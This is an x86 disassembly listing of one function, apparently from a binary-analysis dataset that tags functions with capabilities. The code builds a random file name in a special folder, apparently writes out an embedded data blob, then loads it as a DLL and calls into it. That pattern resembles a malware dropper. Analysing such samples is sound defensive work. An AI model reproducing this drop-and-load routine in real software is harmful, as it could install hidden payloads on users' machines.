Function at 0x409080
Capabilities:
Terminate process

Disassembly:
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x448c01
push eax
mov dword fs:[0], esp
sub esp, 0x528
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call fcn.00425040
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x330]
add esp, 4
rep stosd dword es:[edi], eax
lea eax, [esp + 0x32c]
push 0x104
push eax
push ebx
call esi
lea ecx, [esp + 0x32c]
push 0x52f4b0
push ecx
call fcn.0042bdf3
add esp, 8
cmp eax, ebx
jne 0x4090f8
push ebx
call fcn.0042bd45
add esp, 4
push 1
call fcn.0042bc52
push ebp
lea edx, [esp + 0x434]
push 0x104
push edx
push ebx
call esi
lea eax, [esp + 0x434]
lea ecx, [esp + 0x14]
push eax
call fcn.0043fd12
push 0x2e
lea ecx, [esp + 0x18]
mov dword [esp + 0x544], ebx
call fcn.0043a490
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
mov ecx, dword [ecx - 8]
sub ecx, eax
inc ecx
push ecx
push edx
lea ecx, [esp + 0x1c]
call fcn.0043a39c
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x544], 1
call fcn.0043fddd
lea ecx, [esp + 0x18]
mov byte [esp + 0x540], bl
call fcn.0043fca4
push 0x2e
lea ecx, [esp + 0x18]
call fcn.0043a490
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x18]
mov ecx, dword [ecx - 8]
sub ecx, eax
sub ecx, 3
push ecx
push edx
lea ecx, [esp + 0x1c]
call fcn.0043a418
push eax
lea ecx, [esp + 0x18]
mov byte [esp + 0x544], 2
call fcn.0043fddd
lea ecx, [esp + 0x18]
mov byte [esp + 0x540], bl
call fcn.0043fca4
mov edi, dword [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x24]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x24]
mov byte [esp + 0x22], 0x30
push ecx
mov byte [esp + 0x27], bl
mov byte [esp + 0x24], 0x29
mov byte [esp + 0x25], bl
call fcn.0042bbd1
add esp, 4
cmp eax, 1
jge 0x409222
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpA]
lea edx, [esp + 0x22]
lea eax, [esp + 0x24]
push edx
push eax
call esi
test eax, eax
je 0x409222
lea ecx, [esp + 0x20]
lea edx, [esp + 0x24]
push ecx
push edx
call esi
test eax, eax
jne 0x409427
push ebx
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x22d]
mov byte [esp + 0x22c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push str.SHGetSpecialFolderPathA
push str.shell32.dll
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push ebx
lea ecx, [esp + 0x230]
push 0x1a
push ecx
push ebx
mov byte [0x48b459], 4
call eax
mov edi, 0x52f4a0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, 0x52f49c
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call fcn.0043f9e5
mov ebp, eax
mov edi, 0x52f49c
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push ebx
mov edx, ecx
mov esi, edi
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x52f4a0
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, ebp
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov byte [esp + 0x22], 0x36
mov byte [esp + 0x23], bl
call edi
lea eax, [esp + 0x12]
push ebp
push eax
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], bl
call fcn.0042bbd1
push eax
push 0x1a
call fcn.00408f80
add esp, 0xc
add eax, 0x41
lea ecx, [esp + 0x16]
push eax
push ecx
call fcn.0042bbd1
push eax
push 0x1a
call fcn.00408f80
add esp, 0xc
add eax, 0x61
lea edx, [esp + 0x1a]
push eax
push edx
call fcn.0042bbd1
push eax
push 0x1a
call fcn.00408f80
add esp, 0xc
add eax, 0x61
push eax
lea eax, [esp + 0x22]
push eax
call fcn.0042bbd1
push eax
push 0x1a
call fcn.00408f80
add esp, 0xc
add eax, 0x41
lea ecx, [esp + 0x23c]
lea edx, [esp + 0x138]
push eax
push ecx
push str._s_c_c_c_c_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x148]
push eax
call fcn.00408fb0
add esp, 0x24
lea ecx, [esp + 0x128]
push 2
push ecx
call dword [0x534b54]
lea edx, [esp + 0x128]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
push 1
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
lea eax, [esp + 0x1e]
push str.EEB0F
push eax
mov byte [esp + 0x20], 0x5f
mov byte [esp + 0x21], 0x32
mov byte [esp + 0x22], bl
call fcn.0042bbd1
add esp, 4
lea ecx, [esp + 0x1c]
push eax
push 0x2aa00
push 0x460a50
push ecx
call ebp
cmp esi, ebx
je 0x409427
push ebx
call edi
cmp ebp, ebx
je 0x409420
push ebx
call edi
lea edx, [esp + 0x1e]
push str.EEB0F
push edx
call fcn.0042bbd1
add esp, 4
push eax
push 0x2aa00
lea eax, [esp + 0x24]
push 0x460a50
push eax
call ebp
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [esp + 0x14]
mov dword [esp + 0x540], 0xffffffff
call fcn.0043fca4
mov ecx, dword [esp + 0x538]
pop ebp
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x534
ret